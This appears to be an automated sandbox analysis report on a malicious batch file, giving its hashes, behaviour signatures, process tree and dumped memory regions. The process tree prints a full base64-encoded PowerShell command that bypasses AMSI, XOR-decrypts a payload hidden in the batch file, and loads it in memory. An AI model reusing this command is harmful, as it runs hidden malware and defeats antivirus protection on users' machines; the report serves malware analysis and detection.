Analysis
- max time kernel
148s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
28/06/2026, 20:01
General
- Target bai_packed.bat
- Size 431KB
- Sample260628-yr2b4ac16v
- SHA256 0d4c7a6d5005650598720f74325446ba1744edf3b7a2cab46a4afe9d0ffcc849
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\bai_packed.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w h -enc dAByAHkAewAkAHIAPQBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AJwArAFsAYwBoAGEAcgBdADYANQArACcAbQBzAGkAJwArAFsAYwBoAGEAcgBdADgANQArACcAdABpAGwAcwAnACkAOwAkAGYAPQAkAHIALgBHAGUAdABGAGkAZQBsAGQAKAAnAGEAbQBzAGkAJwArAFsAYwBoAGEAcgBdADcAMwArACcAbgBpAHQAJwArAFsAYwBoAGEAcgBdADcAMAArACcAYQBpAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsAJABmAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAfQBjAGEAdABjAGgAewB9ADsAJABkAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAZQBuAHYAOgBrAHEANAA0ACkAOwAkAGkAPQAkAGQALgBJAG4AZABlAHgATwBmACgAJwA6ADoAXwBfAFIATABVAEIASABSAEgASABfAF8AJwApACsAMQA0ADsAJABiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQApAC4AVAByAGkAbQAoACkAKQA7ACQAawA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMQAyADkALAA5ADUALAAyADMAOAAsADEANgAwACwANwA5ACwAMQAzADYALAAxADMAOAAsADEANgAyACwAMQA0ADAALAAxADYANAAsADEANAAxACwAMgAxADMALAAxADIAMQAsADEAMAA1ACwAMQA1ADgALAAyADQANAApADsAQQBkAGQALQBUAHkAcABlACAALQBNACAAJwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgB5AHQAZQBbAF0AIABYACgAYgB5AHQAZQBbAF0AIABkACwAYgB5AHQAZQBbAF0AIABrACkAewBmAG8AcgAoAGkAbgB0ACAAaQA9ADAAOwBpADwAZAAuAEwAZQBuAGcAdABoADsAaQArACsAKQBkAFsAaQBdAF4APQBrAFsAaQAlAGsALgBMAGUAbgBnAHQAaABdADsAcgBlAHQAdQByAG4AIABkADsAfQAnACAALQBOAGEAbQBlACAAJwBCAFMAJwAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAAnAFoATAAnADsAJABiAD0AWwBaAEwALgBCAFMAXQA6ADoAWAAoACQAYgAsACQAawApADsAJABhAD0AWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AHQAcgB5AHsAJABhAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACwAQAAoACkAKQApAH0AYwBhAHQAYwBoAHsAJABhAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABuAHUAbABsACkAfQA7AFsAVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBTAGwAZQBlAHAAKAAtADEAKQA=2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\btepgtyn\btepgtyn.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F19.tmp" "c:\Users\Admin\AppData\Local\Temp\btepgtyn\CSC3010FF4358B543CCAC31619FCB722A85.TMP"4⤵
-
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
RES9F19.tmp
TmpA090.tmp
__PSScriptPolicyTest_0lm5wzc0.1kc.ps1
btepgtyn.dll
CSC3010FF4358B543CCAC31619FCB722A85.TMP
btepgtyn.0.cs
btepgtyn.cmdline
memory/6760-126-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-141-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-10-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-11-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-12-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-13-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-17-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-20-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-29-0x000001F1B5E20000-0x000001F1B5E74000-memory.dmp
memory/6760-28-0x000001F19D9F0000-0x000001F19D9F8000-memory.dmp
memory/6760-30-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-32-0x000001F1B5EA0000-0x000001F1B5EEC000-memory.dmp
memory/6760-33-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-31-0x000001F1B5E80000-0x000001F1B5E98000-memory.dmp
memory/6760-34-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-35-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-7-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-6-0x000001F19D960000-0x000001F19D982000-memory.dmp
memory/6760-46-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-47-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-49-0x000001F1B61F0000-0x000001F1B62C6000-memory.dmp
memory/6760-63-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-65-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-73-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-86-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-178-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-92-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-99-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-129-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-162-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-137-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-159-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-157-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-155-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-154-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-151-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-150-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-147-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-145-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-144-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-139-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-0-0x00007FFC9479F000-0x00007FFC947A0000-memory.dmp
memory/6760-135-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-133-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-9-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-131-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-94-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-175-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-167-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-172-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-169-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-166-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-164-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-127-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-123-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-121-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-120-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-117-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-115-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-114-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-109-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-101-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-111-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-108-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-105-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-104-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-97-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-96-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-89-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-87-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-79-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-82-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-83-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-77-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-75-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-72-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-70-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-67-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-61-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-59-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-57-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-56-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-53-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-51-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-50-0x000001F1B61F0000-0x000001F1B62C1000-memory.dmp
memory/6760-3198-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-3199-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp
memory/6760-3200-0x000001F1B62D0000-0x000001F1B63A0000-memory.dmp
memory/6760-6262-0x00007FFC94610000-0x00007FFC94FB4000-memory.dmp